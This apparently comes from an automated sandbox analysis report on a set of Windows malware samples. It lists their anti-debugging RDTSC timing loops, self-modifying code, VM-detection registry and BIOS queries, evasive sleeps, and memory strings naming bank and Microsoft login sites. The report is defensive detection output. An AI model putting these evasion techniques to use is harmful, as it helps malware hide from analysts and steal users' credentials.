Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D288AA second address: D288AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D288AE second address: D288D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735522h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE6C473551Ch 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D288D6 second address: D288DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D28A21 second address: D28A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D28CDA second address: D28CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE6C5005F86h 0x0000000a pop ecx 0x0000000b je 00007FE6C5005F8Eh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D28CEF second address: D28CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D28CF3 second address: D28CFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE6C5005F86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D28CFD second address: D28D03 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D28F97 second address: D28F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D28F9D second address: D28FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jp 00007FE6C473551Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D28FAC second address: D28FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jbe 00007FE6C5005F86h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D28FBD second address: D28FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D2AAF4 second address: D2AB0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D2AB0A second address: D2AB3F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FE6C473551Ah 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ebx 0x0000000e jmp 00007FE6C4735527h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D2AB3F second address: D2AB45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D2AB45 second address: D2AB76 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 xor di, 9D98h 0x0000000e adc di, 22A3h 0x00000013 call 00007FE6C4735519h 0x00000018 jmp 00007FE6C473551Eh 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pushad 0x00000022 popad 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D2AB76 second address: D2AB8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe RDTSC instruction interceptor: First address: D2AB8B second address: D2AB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: E73CB0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 1095E2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Special instruction interceptor: First address: B7EDF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Special instruction interceptor: First address: D22973 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Special instruction interceptor: First address: D4AA77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Special instruction interceptor: First address: B7ED39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Special instruction interceptor: First address: DB9B4A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: BDEDF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: D82973 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: DAAA77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: BDED39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: E19B4A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Special instruction interceptor: First address: 791990 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Special instruction interceptor: First address: 93A53A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Special instruction interceptor: First address: 938FFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Special instruction interceptor: First address: 963599 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Special instruction interceptor: First address: 9C793A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Special instruction interceptor: First address: 8D3CB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Special instruction interceptor: First address: AF5E2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Special instruction interceptor: First address: A91990 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Special instruction interceptor: First address: C3A53A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Special instruction interceptor: First address: C38FFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Special instruction interceptor: First address: C63599 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Special instruction interceptor: First address: CC793A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Special instruction interceptor: First address: 30DC59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Special instruction interceptor: First address: 4B8EA6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Special instruction interceptor: First address: 540478 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Special instruction interceptor: First address: 310DAB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Special instruction interceptor: First address: ACEDF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Special instruction interceptor: First address: C72973 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Special instruction interceptor: First address: C9AA77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Special instruction interceptor: First address: ACED39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Special instruction interceptor: First address: D09B4A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Special instruction interceptor: First address: 831990 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Special instruction interceptor: First address: 9DA53A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Special instruction interceptor: First address: 9D8FFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Special instruction interceptor: First address: A03599 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Special instruction interceptor: First address: A6793A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Special instruction interceptor: First address: BBDC59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Special instruction interceptor: First address: D68EA6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Special instruction interceptor: First address: DF0478 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Special instruction interceptor: First address: BC0DAB instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Memory allocated: 5180000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Memory allocated: 5350000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Memory allocated: 51A0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Memory allocated: 5370000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Memory allocated: 5510000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Memory allocated: 7510000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Code function: 4_2_05240C4C rdtsc 4_2_05240C4C
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1409 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1354 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1361 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1131 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1113 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1153 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1150 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 3976 Thread sleep count: 51 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3976 Thread sleep time: -102051s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 516 Thread sleep count: 1409 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 516 Thread sleep time: -2819409s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6260 Thread sleep time: -36000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5352 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3800 Thread sleep count: 1354 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3800 Thread sleep time: -2709354s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3048 Thread sleep count: 1361 > 30 Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3048 Thread sleep time: -2723361s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6276 Thread sleep count: 1131 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6276 Thread sleep time: -2263131s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4872 Thread sleep count: 1113 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4872 Thread sleep time: -2227113s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4548 Thread sleep count: 313 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4548 Thread sleep time: -9390000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4392 Thread sleep count: 1153 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4392 Thread sleep time: -2307153s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6864 Thread sleep time: -540000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6936 Thread sleep count: 1150 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6936 Thread sleep time: -2301150s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe TID: 736 Thread sleep time: -32016s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe TID: 2104 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe TID: 2032 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe TID: 5268 Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe TID: 3656 Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe TID: 3544 Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe TID: 5672 Thread sleep time: -90000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe TID: 1292 Thread sleep count: 50 > 30
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe TID: 1292 Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe TID: 3404 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Thread delayed: delay time: 922337203685477
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWx
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696487552f
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe, 00000004.00000003.2572803047.0000000001369000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2216901529.0000000001653000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001653000.00000004.00000020.00020000.00000000.sdmp, B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.00000000012F5000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 0000000C.00000002.3023166643.00000000015F4000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053644210.0000000000736000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3208684384.0000027F66E2A000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.3117634363.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.3117634363.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp, 994a9a760e.exe, 00000020.00000002.3226332079.0000000000729000.00000004.00000020.00020000.00000000.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.0000000001443000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: firefox.exe, 0000001E.00000002.3214226689.0000027F6741C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3266381689.000001F87F5B7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwareZ
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: firefox.exe, 00000023.00000002.3208113898.00000229088F0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllK
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000006.00000002.2637423157.0000000000D61000.00000040.00000001.01000000.00000009.sdmp, B7KMZCE66VGDP83M16.exe, B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804092829.0000000000918000.00000040.00000001.01000000.0000000B.sdmp, 994a9a760e.exe, 0000000C.00000002.3021291686.0000000000C18000.00000040.00000001.01000000.0000000D.sdmp, 8Z5C764IBSHZ8A5U9SVRCREF.exe, 0000000D.00000002.3130421931.0000000000487000.00000040.00000001.01000000.0000000E.sdmp, 994a9a760e.exe, 00000020.00000002.3227905367.0000000000C18000.00000040.00000001.01000000.0000000D.sdmp, DBQJ2COS8NEE0DVFAHC8.exe, 00000021.00000002.3193269765.0000000000C51000.00000040.00000001.01000000.00000019.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3315588329.00000000009B8000.00000040.00000001.01000000.0000001A.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: 994a9a760e.exe, 00000020.00000002.3226332079.00000000006FB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW8
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe, 00000004.00000003.2572803047.0000000001369000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696487552x
